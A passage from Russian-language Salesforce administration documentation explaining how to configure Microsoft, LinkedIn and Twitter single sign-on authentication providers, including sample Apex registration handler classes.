8. Введите основной URL-адрес в поле «URL-адрес конечной точки авторизации». Например, при использовании
SharePoint Online значение должно выглядеть следующим образом:

https://<имя_узла_sharepoint_online>/_layouts/15/OAuthAuthorize.aspx.

9. Заполните поле «URL-адрес конечной точки маркера». Значение должно выглядеть следующим образом:

https://accounts.accesscontrol.windows.net/<клиент>/tokens/OAuth/2?resource=<код_отправителя>/<имя_узла_sharepoint_online>@<клиент>,
где:

• <клиент> заменяется именем клиента Office 365, заканчивающимся элементом .onmicrosoft.com, или
соответствующим глобальным уникальным идентификатором клиента;

• <код_отправителя> заменяется идентификатором отправителя маркера. Например, SharePoint использует
идентификатор 00000003-0000-0ff1-ce00-000000000000.

10. При необходимости заполните перечисленные ниже поля.

• Поле «Стандартные области», значениекоторогодолжнобытьотправленовместе с запросомна конечнуюточку
авторизации. Дополнительнуюинформациюобиспользованиипараметров Scope в SharePoint Online см. поссылке
http://msdn.microsoft.com/en-us/library/jj687470.aspx#Scope. Дополнительную информацию об использовании
параметров Scope в системе Salesforce см. в разделе «Использование параметра Scope».

• Поле «URL-адрес настраиваемой ошибки», значение которого должно использоваться поставщиком для
уведомления об ошибках.

• Поле «URL-адрес настраиваемого выхода», значениекоторогодолжноиспользоватьсяпривыходепользователей,
выполнивших проверку подлинности посредством процесса единой регистрации. Рекомендуем использовать
данное поле для перенаправления пользователей на фирменную страницу выхода или любую другую страницу,
кроме стандартной страницы выхода Salesforce. URL-адрес должен быть полностью определенным и содержать
префикс http или https  (например, https://acme.my.salesforce.com).

• Чтобыиспользоватьпоставщиканапортале, выберитенужныйпортал враскрывающемся списке «Портал». При
наличии настроенного портала данный параметр может переадресовывать запрос на вход на страницу входа
портала. В противном случае, оставьте значение «Нет».

• Чтобы добавить путь в значок для отображения в виде кнопки на странице входа для сообщества, воспользуйтесь
полем «URL-адрес значка». Данный значок применяется только к сообществу, поэтому не отображается на
странице входа для организации Salesforce или настраиваемого домена, созданного посредством функции «Мой
домен». Кнопка позволяет пользователям выполнять вход посредством связанного поставщика проверки
подлинности для сообщества.

При необходимости укажите путь к собственному изображению или скопируйте URL-адрес одного из тестовых
значков.
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11. Нажмите кнопку «Сохранить».

Запомните значение созданного поля «Код поставщика проверки подлинности». Данное значение должно
использоваться в классе Apex Auth.AuthToken.

Некоторые URL-адресаконфигурацииклиентагенерируютсятолькопослеопределенияпоставщикапроверкиподлинности.

• «Тестовый URL-адрес инициализации»: данный URL-адреспозволяетпроверитьправильностьнастройкистороннего
поставщика. Администратор открывает данный URL-адрес в обозревателе, регистрируется в стороннем приложении
и перенаправляется в систему Salesforce путем сопоставления атрибутов.

• «URL-адрес инициализации только OAuth»: данный URL-адрес позволяет получать маркеры доступа OAuth для
стороннего приложения. Стороннее приложение может получить маркер только после проверки подлинности
пользователя в системе Salesforce; данныйпроцесснепредусматривает дальнейшегоиспользованияфункцииединой
регистрации.

• «URL-адрес обратного вызова»: данный URL-адрес позволяет поставщику проверки подлинности обращаться к
конечной точке конфигурации. При переадресации на адрес, указанный в поле «URL-адрес обратного вызова»,
должны использоваться сведения для всех перечисленных выше URL-адресов конфигурации клиента.

URL-адреса конфигурации клиента поддерживают дополнительные параметры запроса, позволяющие перенаправлять
пользователейдлявходапосредствомвыбранныхсайтов, получениянастраиваемыхполномочийотстороннихкомпаний
или перехода в определенную область после проверки подлинности.

Регистрация приложения в Microsoft

Прежде чем настроить приложение для организации Salesforce, рекомендуем получить удостоверение приложения
посредством любого способа, предоставленного корпорацией Microsoft. Дополнительнуюинформациюо регистрации
приложения для SharePoint см. на странице «Руководство по регистрации приложений для SharePoint 2013».

1. Зарегистрируйте приложение посредством любого способа, предоставленного корпорацией Microsoft.

2. Изменитепараметрыприложенияи задайте URI перенаправленияполю «URL-адрес обратного вызова» поставщика
проверки подлинности.

3. Запомните значения полей «Код клиента» и «Секрет клиента».

4. Нажмите кнопку «Сохранить».

Редактирование сведений о поставщике проверки подлинности Microsoft Access Control Service

После регистрации приложения вернитесь на страницу сведений о поставщике проверки подлинности Microsoft Access
Control Service и обновите поля «Ключ пользователя» и «Секрет пользователя» значениями, предоставленными
корпорацией Microsoft.

1. Введите строку «Поставщики проверки подлинности» в поле «Быстрый поиск» в меню «Настройка» и выберите
«Поставщики проверки подлинности».

2. Щелкните ссылку «Правка» напротив имени нужного поставщика проверки подлинности Microsoft Access Control
Service.

3. Заполните поле «Ключ пользователя» значением поля «Код клиента», предоставленным корпорацией Microsoft.

4. Заполнитеполе «Секрет пользователя» значениемполя «Секрет клиента», предоставленнымкорпорацией Microsoft.
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Тестирование подключения

Откройте «Тестовый URL-адрес инициализации» на странице сведений о поставщике проверки подлинности в
обозревателе. При этом пользователь переходит на веб-узел поставщика, где ему предлагается выполнить вход и
авторизовать приложение. После авторизации пользователь возвращается в систему Salesforce.

Настройка поставщика проверки подлинности LinkedIn

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Управление
поставщикамипроверки
подлинности»

Разрешите пользователям выполнять вход в организацию Salesforce посредством
аккаунтов LinkedIn.

Чтобы настроить LinkedIn в качестве поставщика проверки подлинности, выполните
перечисленные ниже действия.

1. Определите области (сведения о пользователях), которые должны извлекаться из
LinkedIn.

2. Настройте приложение LinkedIn.

3. Определите поставщика LinkedIn для организации Salesforce и установите средство
обработки регистрации.

4. Измените средство обработки регистрации.

5. Обновите приложение LinkedIn для использования URL-адреса обратного вызова,
созданного системой Salesforce, в качестве записи в параметре LinkedIn «URL-адреса
переадресации OAuth 2.0».

6. Протестируйте подключение единой регистрации.

Определение областей (сведений о пользователях), которые должныизвлекаться
из LinkedIn

Области определяют сведения о пользователе, которые должныизвлекаться из LinkedIn
во время процесса авторизации. Система позволяет запрашивать основные сведения
(например, имя пользователя и URL-адресфотографии) или более подробные сведения
(например, адрес, номер телефона, список контактови т. д.). Пользовательподтверждает
обмен информацией до ее получения.

При настройке LinkedIn в качестве поставщика проверки подлинности области могут
быть заданы посредством: параметров приложения LinkedIn, параметров поставщика
проверки подлинности Salesforce или запроса для конечной точки сведений о
пользователе LinkedIn. Воспользуйтесь рекомендациями ниже.

• Пропустите данное значение в параметрах LinkedIn и Salesforce. По умолчанию используется значение
r_basicprofile, предоставляющее только самые основные сведения о пользователе, указанные в LinkedIn.

• Система Salesforce требует наличия адреса эл. почты для пользователей.

• Чтобы просмотреть список поддерживаемых значений и их смысл, воспользуйтесь данной документацией.
Дополнительную информацию об отправке запросов см. на данной странице.

• Значение поля «Стандартные области», заданное в параметрах поставщика проверки подлинности Salesforce,
переопределяет значение, заданное в параметрах приложения LinkedIn.

• Разделите значения областей в параметрах приложения LinkedIn илипараметрах поставщика проверки подлинности
Salesforce посредством пробела (например, r_basicprofile r_emailaddress).
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• При использовании селекторов поля LinkedIn с URL-адресом разделите значения посредством запятой (например,
https://api.linkedin.com/v1/people/~:(код,форматированное-имя,личное-имя,фамилия,общедоступный-url-адрес-профиля,адрес-эл.-почты).

Настройка приложения LinkedIn

Прежде чем настроить LinkedIn для организации Salesforce, рекомендуем настроить приложение в LinkedIn.

Прим.: Чтобыпропуститьданноедействие, разрешитесистеме Salesforceиспользованиесобственногостандартного
приложения. Дополнительную информацию см. в разделе «Использование значений под управлением Salesforce
при настройке поставщика проверки подлинности».

1. Выполните вход в учетную запись разработчика на веб-сайте LinkedIn.

2. Щелкните имя пользователя вверху страницы и выберите пункт «Ключи API».

3. Щелкните ссылку «Добавить новое приложение».

4. Введите параметры приложения.

5. Запомните значения полей «Ключ API» и «Секретный ключ» нового приложения. Они будут позже использоваться
в системе Salesforce.

6. При необходимости введите поддерживаемое значение области LinkedIn или несколько значений, разделенных
посредством пробела.

Дополнительную информацию об использовании областей в LinkedIn см. в подразделе «Определение областей
(сведений о пользователях), которые должны извлекаться из LinkedIn».

Определение поставщика LinkedIn для организации Salesforce

Значения полей «Ключ API» и «Секретный ключ» из приложения LinkedIn требуются для настройки поставщика
LinkedIn в организации Salesforce.

Прим.: Чтобыпропуститьвводданныхзначенийпринастройкепоставщика, разрешитесистемеSalesforceуправление
значениями. Дополнительную информацию см. в разделе «Использование значений под управлением Salesforce
при настройке поставщика проверки подлинности».

1. Введите строку «Поставщики проверки подлинности» в поле «Быстрый поиск» в меню «Настройка» и выберите
«Поставщики проверки подлинности».

2. Нажмите кнопку «Создать».

3. Выберите LinkedIn в поле «Тип поставщика».

4. Заполните поле «Имя».

5. Заполните поле «Индекс URL-адреса». Данное значение используется в URL-адресах конфигурации клиента.
Например, если индексу URL-адреса поставщика присвоено значение «MoiPostavshikLinkedIn», то URL-адрес единой
регистрации выглядит следующим образом:

https://login.salesforce.com/services/sso/00Dx00000000001/MoiPostavshikLinkedIn.

6. Введите значение поля «Ключ API» из LinkedIn в поле «Ключ пользователя».

7. Введите значение поля «Секретный ключ» из LinkedIn в поле «Секрет пользователя».

8. При необходимости заполните перечисленные ниже поля.
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Поле «URL-адрес конечной точки авторизации», предназначенноедля вводаосновного URL-адреса авторизации
от LinkedIn. Например, https://www.linkedin.com/uas/oauth2/authorization/auth. URL-адрес
должен начинаться с компонента https://www.linkedin.com/uas/oauth2/authorization.

a.

Совет: При необходимости дополните основной URL-адрес строковыми параметрами запроса. Например,
чтобы получить маркер обновления от Google для автономного доступа, введите URL-адрес
https://accounts.google.com/o/oauth2/auth?access_type=offline&approval_prompt=force.
Параметр approval_prompt позволяет пользователю принимать действие обновления, благодаря чему
Google сможет отправлять последующие маркеры обновления.

b. Поле «URL-адрес конечной точки маркера», предназначенное для ввода URL-адреса маркера OAuth от LinkedIn.
Например, https://www.linked.com/uas/oauth2/accessToken/token. URL-адресдолженначинаться
с компонента https://www.linkedin.com/uas/oauth2/accessToken.

c. Поле «URL-адрес конечной точки сведений о пользователе» для изменения значений, запрошенных
интерфейсом API профиля LinkedIn. Дополнительную информацию см. на странице
https://developer.linkedin.com/documents/profile-fields. URL-адрес должен начинаться с компонента
https://api.linkedin.com/v1/people/~, а запрошенные поля должны соответствовать запрошенным
областям.

d. Поле «Стандартные области», предназначенноедля вводаподдерживаемого значенияилинескольких значений,
разделенныхпосредствомпробела, которыесоответствуютинформации, извлеченнойиз LinkedIn. Дополнительную
информацию см. в подразделе «Определение областей (сведений о пользователях), которые должныизвлекаться
из LinkedIn».

e. Поле «URL-адрес настраиваемой ошибки», значение которого должно использоваться поставщиком для
уведомления об ошибках.

f. Поле «URL-адрес настраиваемого выхода», значениекоторогодолжноиспользоватьсяпривыходепользователей,
выполнивших проверку подлинности посредством процесса единой регистрации. Рекомендуем использовать
данное поле для перенаправления пользователей на фирменную страницу выхода или любую другую страницу,
кроме стандартной страницы выхода Salesforce. URL-адрес должен быть полностью определенным и содержать
префикс http или https  (например, https://acme.my.salesforce.com).

g. Чтобы создать шаблон класса Apex для средства обработки регистрации, щелкните ссылку «Автоматически
создаватьшаблонсредстваобработкирегистрации». Прежде чемиспользовать данный класс, выполните его
редактирование путем изменения стандартного содержимого.

Прим.: Укажите класс средства обработки регистрации для системы Salesforce для создания значения поля
«URL-адрес инициализации единой регистрации».

h. Выберите пользователя, выполняющего класс средства обработки Apex, в поле «Выполнить регистрацию как».
Пользователю должно быть предоставлено полномочие «Управление пользователями». Данное поле является
обязательным в случае выбора или автоматического создания класса для средства обработки регистрации.

i. Чтобы использовать портал для пользователей LinkedIn, выберите нужный портал в раскрывающемся списке
«Портал».

9. Чтобы добавить путь в значок для отображения в виде кнопки на странице входа для сообщества, воспользуйтесь
полем «URL-адрес значка». Данныйзначокприменяется толькок сообществу, поэтомунеотображаетсяна странице
входа дляорганизации Salesforceилинастраиваемогодомена, созданногопосредствомфункции «Мойдомен». Кнопка
позволяетпользователямвыполнятьвходпосредствомсвязанногопоставщикапроверкиподлинностидлясообщества.

При необходимости укажите путь к собственному изображению или скопируйте URL-адрес одного из тестовых
значков.
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10. Нажмите кнопку «Сохранить».

Некоторые URL-адресаконфигурацииклиентагенерируютсятолькопослеопределенияпоставщикапроверкиподлинности.

• «Тестовый URL-адрес инициализации»: данный URL-адреспозволяетпроверитьправильностьнастройкистороннего
поставщика. Администратор открывает данный URL-адрес в обозревателе, регистрируется в стороннем приложении
и перенаправляется в систему Salesforce путем сопоставления атрибутов.

• «URL-адрес инициализации единой регистрации»: данный URL-адреспозволяетиспользовать единуюрегистрацию
для входа в систему Salesforce посредством стороннего приложения. Конечный пользователь открывает данный
URL-адресвобозревателеирегистрируетсявстороннемприложении. ВэтомслучаевходвсистемуSalesforceвыполняется
от имени созданного или обновленного пользователя.

• «URL-адрес связывания текущего пользователя»: данный URL-адрес позволяет связать текущих пользователей
Salesforce со сторонней учетной записью. Конечный пользователь открывает данный URL-адрес в обозревателе,
регистрируется в стороннем приложении и в системе Salesforce, а затем подтверждает ссылку.

• «URL-адрес инициализации только OAuth»: данный URL-адрес позволяет получать маркеры доступа OAuth для
стороннего приложения. Стороннее приложение может получить маркер только после проверки подлинности
пользователя в системе Salesforce; данныйпроцесснепредусматривает дальнейшегоиспользованияфункцииединой
регистрации.

• «URL-адрес обратного вызова»: данный URL-адрес позволяет поставщику проверки подлинности обращаться к
конечной точке конфигурации. При переадресации на адрес, указанный в поле «URL-адрес обратного вызова»,
должны использоваться сведения для всех перечисленных выше URL-адресов конфигурации клиента.

URL-адреса конфигурации клиента поддерживают дополнительные параметры запроса, позволяющие перенаправлять
пользователейдлявходапосредствомвыбранныхсайтов, получениянастраиваемыхполномочийотстороннихкомпаний
или перехода в определенную область после проверки подлинности.

Редактирование средства обработки регистрации

1. Введите строку «Классы Apex» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Классы Apex».

2. Измените автоматически созданное средство обработки регистрации Apex (или текущее средство обработки
регистрации) для соотнесения полей между LinkedIn и Salesforce.

Прим.: Стандартный запрос профиля для LinkedIn извлекает только следующиеполя: имя, фамилия, заголовок,
URL-адрес профиля. Стандартное средство обработки регистрации требует наличия адреса эл. почты. Удалите
данное требованиеиз средстваобработкирегистрацииилиизменитенужныеобласти в действии «Определение
областей (сведений о пользователях), которые должныизвлекаться из LinkedIn» для добавления адреса эл. почты
и любых других нужных полей.

Ниже приведен пример средства обработки регистрации Apex при использовании приложения LinkedIn в качестве
поставщика проверки подлинности. Данное средство обработки регистрации предполагает наличие следующих
запрошенныхобластей: r_basicprofile и r_emailaddress. Крометого, онопредполагает входпользователей
на клиентский портал.

//TODO:This auto-generated class includes the basics for a Registration
//Handler class. You will need to customize it to ensure it meets your needs and
//the data provided by the third party.
global class LinkedInRegHandler implements Auth.RegistrationHandler {

//Creates a Standard salesforce or a community user
global User createUser(Id portalId, Auth.UserData data) {

if (data.attributeMap.containsKey('sfdc_networkid')) {
//We have a community id, so create a user with community access
//TODO: Get an actual account
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Account a =[SELECT Id FROM account WHERE name = 'LinkedIn Account'];
Contact c = new Contact();
c.accountId = a.Id;
c.email = data.email;
c.firstName = data.firstName;
c.lastName = data.lastName;
insert(c);
//TODO: Customize the username and profile. Also check that the username
//doesn't already exist and possibly ensure there are enough org licenses
//to create a user. Must be 80 characters or less.
User u = new User();
Profile p =[SELECT Id FROM profile WHERE name = 'Customer Portal Manager'];

u.username = data.firstName + '@sfdc.linkedin.com';
u.email = data.email;
u.lastName = data.lastName;
u.firstName = data.firstName;
String alias = data.firstName;
//Alias must be 8 characters or less
if (alias.length() > 8) {

alias = alias.substring(0, 8);
}
u.alias = alias;
u.languagelocalekey = UserInfo.getLocale();
u.localesidkey = UserInfo.getLocale();
u.emailEncodingKey = 'UTF-8';
u.timeZoneSidKey = 'America/Los_Angeles';
u.profileId = p.Id;
u.contactId = c.Id;
return u;

} else {
//This is not a community, so create a regular standard user
User u = new User();
Profile p =[SELECT Id FROM profile WHERE name = 'Standard User'];
//TODO: Customize the username. Also check that the username doesn't
//already exist and possibly ensure there are enough org licenses
//to create a user. Must be 80 characters or less
u.username = data.firstName + '@salesforce.com';
u.email = data.email;
u.lastName = data.lastName;
u.firstName = data.firstName;
String alias = data.firstName;
//Alias must be 8 characters or less
if (alias.length() > 8) {

alias = alias.substring(0, 8);
}
u.alias = alias;
u.languagelocalekey = UserInfo.getLocale();
u.localesidkey = UserInfo.getLocale();
u.emailEncodingKey = 'UTF-8';
u.timeZoneSidKey = 'America/Los_Angeles';
u.profileId = p.Id;
return u;

}
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}
//Updates the user's first and last name
global void updateUser(Id userId, Id portalId, Auth.UserData data) {

User u = new User(id = userId);
u.lastName = data.lastName;
u.firstName = data.firstName;
update(u);

}
}

Дополнительную информацию и примеры см. в документации к интерфейсу RegistrationHandler.

Обновление приложения LinkedIn

После определенияпоставщикапроверкиподлинности LinkedIn в организации Salesforce вернитесь в LinkedIn иобновите
приложениедляиспользованиязначенияполя «URL-адрес обратного вызова», созданногосистемойSalesforce, в качестве
значения поля «URL-адреса переадресации OAuth 2.0» в параметрах приложения LinkedIn.

Тестирование подключения единой регистрации

Откройте «Тестовый URL-адрес инициализации» на странице сведений о поставщике проверки подлинности в
обозревателе. Приэтомпользовательпереходитна веб-узел LinkedIn, где емупредлагается выполнить входи авторизовать
приложение. После авторизации пользователь возвращается в систему Salesforce.
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Настройка поставщика проверки подлинности Twitter

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Управление
поставщикамипроверки
подлинности»

Разрешите пользователям выполнять вход в организацию Salesforce посредством
аккаунтов Twitter.

Чтобы настроить Twitter в качестве поставщика проверки подлинности, выполните
перечисленные ниже действия.

1. Настройте приложение Twitter.

2. Определите поставщика Twitter для организации Salesforce и установите средство
обработки регистрации.

3. Измените средство обработки регистрации.

4. Обновите приложение Twitter для использования URL-адреса обратного вызова,
созданного системой Salesforce, в качестве записи в параметрах приложения Twitter.

5. Протестируйте подключение единой регистрации.

Настройка приложения Twitter

Прежде чем настроить Twitter для организации Salesforce, рекомендуем настроить
приложение в Twitter.

Прим.: Чтобы пропустить данное действие, разрешите системе Salesforce
использование собственного стандартного приложения. Дополнительную
информацию см. в разделе «Использование значений под управлением Salesforce
при настройке поставщика проверки подлинности».

1. Выполните вход в учетную запись разработчика на веб-сайте Twitter.

2. Щелкните значок пользователя вверху страницы и выберите пункт «Мои
приложения» (или откройте веб-узел apps.twitter.com).

3. Нажмите кнопку «Создать приложение».

4. Введите параметры приложения.

5. Запомните значения полей «Ключ API» и «Секрет API» нового приложения. Они будут позже использоваться
в системе Salesforce.

Определение поставщика Twitter для организации Salesforce

Значения полей «Ключ API» и «Секрет API» из приложения Twitter требуются для настройки поставщика Twitter в
организации Salesforce.

Прим.: Чтобыпропуститьвводданныхзначенийпринастройкепоставщика, разрешитесистемеSalesforceуправление
значениями. Дополнительную информацию см. в разделе «Использование значений под управлением Salesforce
при настройке поставщика проверки подлинности».

1. Введите строку «Поставщики проверки подлинности» в поле «Быстрый поиск» в меню «Настройка» и выберите
«Поставщики проверки подлинности».

2. Нажмите кнопку «Создать».

3. Выберите Twitter в поле «Тип поставщика».

4. Заполните поле «Имя».
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5. Заполните поле «Индекс URL-адреса». Данное значение используется в URL-адресах конфигурации клиента.
Например, если индексу URL-адреса поставщика присвоено значение «MoiPostavshikTwitter», то URL-адрес единой
регистрации выглядит следующим образом:

https://login.salesforce.com/services/sso/00Dx00000000001/MoiPostavshikTwitter.

6. Введите значение поля «Ключ API» из Twitter в поле «Ключ пользователя».

7. Введите значение поля «Секрет API» из Twitter в поле «Секрет пользователя».

8. При необходимости заполните перечисленные ниже поля.

a. Поле «URL-адрес настраиваемой ошибки», значение которого должно использоваться поставщиком для
уведомления об ошибках.

b. Поле «URL-адрес настраиваемого выхода», значениекоторогодолжноиспользоватьсяпривыходепользователей,
выполнивших проверку подлинности посредством процесса единой регистрации. Рекомендуем использовать
данное поле для перенаправления пользователей на фирменную страницу выхода или любую другую страницу,
кроме стандартной страницы выхода Salesforce. URL-адрес должен быть полностью определенным и содержать
префикс http или https  (например, https://acme.my.salesforce.com).

c. Чтобы создать шаблон класса Apex для средства обработки регистрации, щелкните ссылку «Автоматически
создаватьшаблонсредстваобработкирегистрации». Прежде чемиспользовать данный класс, выполните его
редактирование путем изменения стандартного содержимого.

Прим.:  URL-адрес инициализации единой регистрации может быть создан только после выбора класса
средства обработки регистрации для системы Salesforce.

d. Выберите пользователя, выполняющего класс средства обработки Apex, в поле «Выполнить регистрацию как».
Пользователю должно быть предоставлено полномочие «Управление пользователями». Данное поле является
обязательным в случае выбора или автоматического создания класса для средства обработки регистрации.

e. Чтобы использовать портал для пользователей Twitter, выберите нужный портал в раскрывающемся списке
«Портал».

f. Чтобы добавить путь в значок для отображения в виде кнопки на странице входа для сообщества, воспользуйтесь
полем «URL-адрес значка». Данный значок применяется только к сообществу, поэтому не отображается на
странице входа для организации Salesforce или настраиваемого домена, созданного посредством функции «Мой
домен». Кнопка позволяет пользователям выполнять вход посредством связанного поставщика проверки
подлинности для сообщества.

При необходимости укажите путь к собственному изображению или скопируйте URL-адрес одного из тестовых
значков.

9. Нажмите кнопку «Сохранить».

Некоторые URL-адресаконфигурацииклиентагенерируютсятолькопослеопределенияпоставщикапроверкиподлинности.

• «Тестовый URL-адрес инициализации»: данный URL-адреспозволяетпроверитьправильностьнастройкистороннего
поставщика. Администратор открывает данный URL-адрес в обозревателе, регистрируется в стороннем приложении
и перенаправляется в систему Salesforce путем сопоставления атрибутов.

• «URL-адрес инициализации единой регистрации»: данный URL-адреспозволяетиспользовать единуюрегистрацию
для входа в систему Salesforce посредством стороннего приложения. Конечный пользователь открывает данный
URL-адресвобозревателеирегистрируетсявстороннемприложении. ВэтомслучаевходвсистемуSalesforceвыполняется
от имени созданного или обновленного пользователя.
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• «URL-адрес связывания текущего пользователя»: данный URL-адрес позволяет связать текущих пользователей
Salesforce со сторонней учетной записью. Конечный пользователь открывает данный URL-адрес в обозревателе,
регистрируется в стороннем приложении и в системе Salesforce, а затем подтверждает ссылку.

• «URL-адрес обратного вызова»: данный URL-адрес позволяет поставщику проверки подлинности обращаться к
конечной точке конфигурации. При переадресации на адрес, указанный в поле «URL-адрес обратного вызова»,
должны использоваться сведения для всех перечисленных выше URL-адресов конфигурации клиента.

URL-адреса конфигурации клиента поддерживают дополнительные параметры запроса, позволяющие перенаправлять
пользователейдлявходапосредствомвыбранныхсайтов, получениянастраиваемыхполномочийотстороннихкомпаний
или перехода в определенную область после проверки подлинности.

Редактирование средства обработки регистрации

1. Введите строку «Классы Apex» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Классы Apex».

2. Измените автоматически созданное средство обработки регистрации Apex (или текущее средство обработки
регистрации) для соотнесения полей между Twitter и Salesforce.

Ниже приведен пример средства обработки регистрации Apex при использовании приложения Twitter в качестве
поставщика проверки подлинности.

global class MyTwitterRegHandler implements Auth.RegistrationHandler{

global User createUser(Id portalId, Auth.UserData data)
{

if(data.attributeMap.containsKey('sfdc_networkid'))
{

// Create communities user
Account a = [SELECT Id FROM account WHERE name='Twitter Account']; // Make sure

this account exists

Contact c = new Contact();
c.accountId = a.Id;
c.email = 'temp@CHANGE-ME.com';
c.firstName = data.fullname.split(' ')[0];
c.lastName = data.fullname.split(' ')[1];
insert(c);

User u = new User();
Profile p = [SELECT Id FROM profile WHERE name='Customer Portal Manager'];
u.username = data.username + '@sfdc-portal-twitter.com';
u.email = 'temp@CHANGE-ME.com';
u.firstName = data.fullname.split(' ')[0];
u.lastName = data.fullname.split(' ')[1];
String alias = data.fullname;

//Alias must be 8 characters or less
if(alias.length() > 8) {

alias = alias.substring(0, 8);
}

u.alias = alias;
u.languagelocalekey = 'en_US';
u.localesidkey = 'en_US';
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u.emailEncodingKey = 'UTF-8';
u.timeZoneSidKey = 'America/Los_Angeles';
u.profileId = p.Id;
u.contactId = c.Id;
return u;

} else {
// Create Standard SFDC user
User u = new User();
Profile p = [SELECT Id FROM profile WHERE name='Standard User'];
u.username = data.username + '@sfdc-twitter.com';
u.email = 'temp@CHANGE-ME.com';
u.firstName = data.fullname.split(' ')[0];
u.lastName = data.fullname.split(' ')[1];
String alias = data.fullname;
if(alias.length() > 8)

alias = alias.substring(0, 8);

u.alias = alias;
u.languagelocalekey = 'en_US';
u.localesidkey = 'en_US';
u.emailEncodingKey = 'UTF-8';
u.timeZoneSidKey = 'America/Los_Angeles';
u.profileId = p.Id;
return u;

}
}

global void updateUser(Id userId, Id portalId, Auth.UserData data)
{

User u = new User(id=userId);
u.firstName = data.fullname.split(' ')[0];
u.lastName = data.fullname.split(' ')[1];
String alias = data.fullname;
if(alias.length() > 8)

alias = alias.substring(0, 8);

u.alias = alias;
update(u);

}
}

Дополнительную информацию и примеры см. в документации к интерфейсу RegistrationHandler.

Обновление приложения Twitter

После определения поставщика проверки подлинности Twitter в организации Salesforce вернитесь в Twitter и обновите
приложениедляиспользованиязначенияполя «URL-адрес обратного вызова», созданногосистемойSalesforce, в качестве
значения поля «URL-адрес обратного вызова» в параметрах приложения Twitter.

Прим.: В приложении Twitter установите флажок «Разрешить этому приложению вход через Twitter».
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Тестирование подключения единой регистрации

Откройте «Тестовый URL-адрес инициализации» на странице сведений о поставщике проверки подлинности в
обозревателе. При этом пользователь переходит на веб-узел Twitter, где ему предлагается выполнить вход и авторизовать
приложение. После авторизации пользователь возвращается в систему Salesforce.

Использование значений под управлением Salesforce при настройке поставщика проверки
подлинности

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Управление
поставщикамипроверки
подлинности»

При необходимости разрешите системе Salesforce автоматическое создание значений
ключейпринастройке поставщика проверкиподлинности Facebook, Salesforce, LinkedIn,
Twitter или Google. Данный алгоритмпозволяет пропускать этап создания собственного
стороннего приложения.

Если пользователь выбирает возможность использования значений под управлением
Salesforce при настройке поставщика проверки подлинности, то система Salesforce
использует собственное стандартное приложение в фоновом режиме. Данное
приложение генерирует значения, исключая необходимость создания собственного
приложения.

Чтобы воспользоваться значениями под управлением Salesforce, пропустите все
перечисленные ниже поля (при условии их отображения при настройке поставщика
проверки подлинности).

• Ключ пользователя

• Секрет пользователя

• URL-адрес конечной точки авторизации

• URL-адрес конечной точки маркера

• URL-адрес конечной точки сведений о пользователе

• Стандартные области

Заполнениеодногоиз указанныхвышеполейуказываетнаиспользованиесобственного
стороннего или связанного приложения, поэтому также требует заполнения полей
«Ключ пользователя» и «Секрет пользователя».

Пример: Например, чтобы разрешить использование регистрационных данных
LinkedIn для входа в систему Salesforce, настройте единуюрегистрациюпосредством
поставщикапроверкиподлинности LinkedIn. Принеобходимостипропустите этап
созданияприложения LinkedIn ввидувыборавозможностииспользованиязначений
под управлением Salesforce при настройке поставщика проверки подлинности.
Чтобы определить поставщика проверки подлинности LinkedIn и протестировать
подключение, выполните действия, описанные в разделе «Настройка поставщика
проверки подлинности LinkedIn».

1045

Безопасность подключенияНастройка и обслуживание организации Salesforce



Создание настраиваемого внешнего поставщика проверки подлинности

ВЕРСИИ

Доступно в версиях:
Доступно в версиях:
Professional, Enterprise,
Performance, Unlimited и
Developer

Создайте поставщика проверки подлинности для единой регистрации (SSO), чтобы
администраторы и пользователи могли использовать свои учетные данные, отличные
от Salesforce, SSO для своих организаций Salesforce.

1. Настройте организацию с выбранным поставщиком.

2. Создайте собственные типы настраиваемых метаданных и выберите настраиваемые
поля, которые администраторы должны заполнять во время настройки.

3. Создайте совпадающие классы и методы Apex для выбранных типов метаданных и
используйте этиклассыдлявнедренияинтерфейса Auth.AuthProviderPlugin.

4. Настройте новые метаданные на странице настройки поставщика проверки подлинности.

5. Обновите приложение для использования URL-адреса обратного вызова, сгенерированного Salesforce.

6. Протестируйте подключение.

Настройка организации

Перед конфигурацией модуля поставщика проверки подлинности для организации Salesforce настройте организацию
с выбранным внешним поставщиком проверки подлинности.

1. Перейдите на сайт поставщика и создайте приложение.

2. Измените параметры приложения и задайте домену приложения значение Salesforce.

3. Запомните код и секрет приложения, если потребуется для внешнего поставщика проверки подлинности.

Создание типов настраиваемых метаданных

При наличии организации создайте типы настраиваемых метаданных для организации Salesforce, необходимых для
внешнего поставщика проверки подлинности.

1. Введитестроку «Метаданные» вполе «Быстрый поиск» вменю «Настройка» ивыберитепункт«Типынастраиваемых
метаданных».

2. Нажмите кнопку «Создать тип настраиваемых метаданных».

3. Введите имя метки для настраиваемых метаданных в единственном и множественном числе и нажмите кнопку
«Сохранить».

4. В разделе «Настраиваемые поля» нажмите кнопку «Создать» и выберите настраиваемые поля, которые необходимы
вамивашемупоставщику. Например, еслипоставщикупроверкиподлинноститребуетсякодилисекретприложения,
вы можете создать поля с метками «Ключ пользователя» или «Секрет пользователя».

Прим.: Вам предложат ввести сведения для каждого типа поля, например метку, описание и текст справки. Можно
выбрать, делать ли такие поля обязательными.

Создание классов и методов Apex

Для создания настраиваемого поставщика проверки подлинности для SSO создайте класс, внедряющий интерфейс
Auth.AuthProviderPlugin. Этот интерфейс позволяет хранить настраиваемую конфигурацию для поставщика
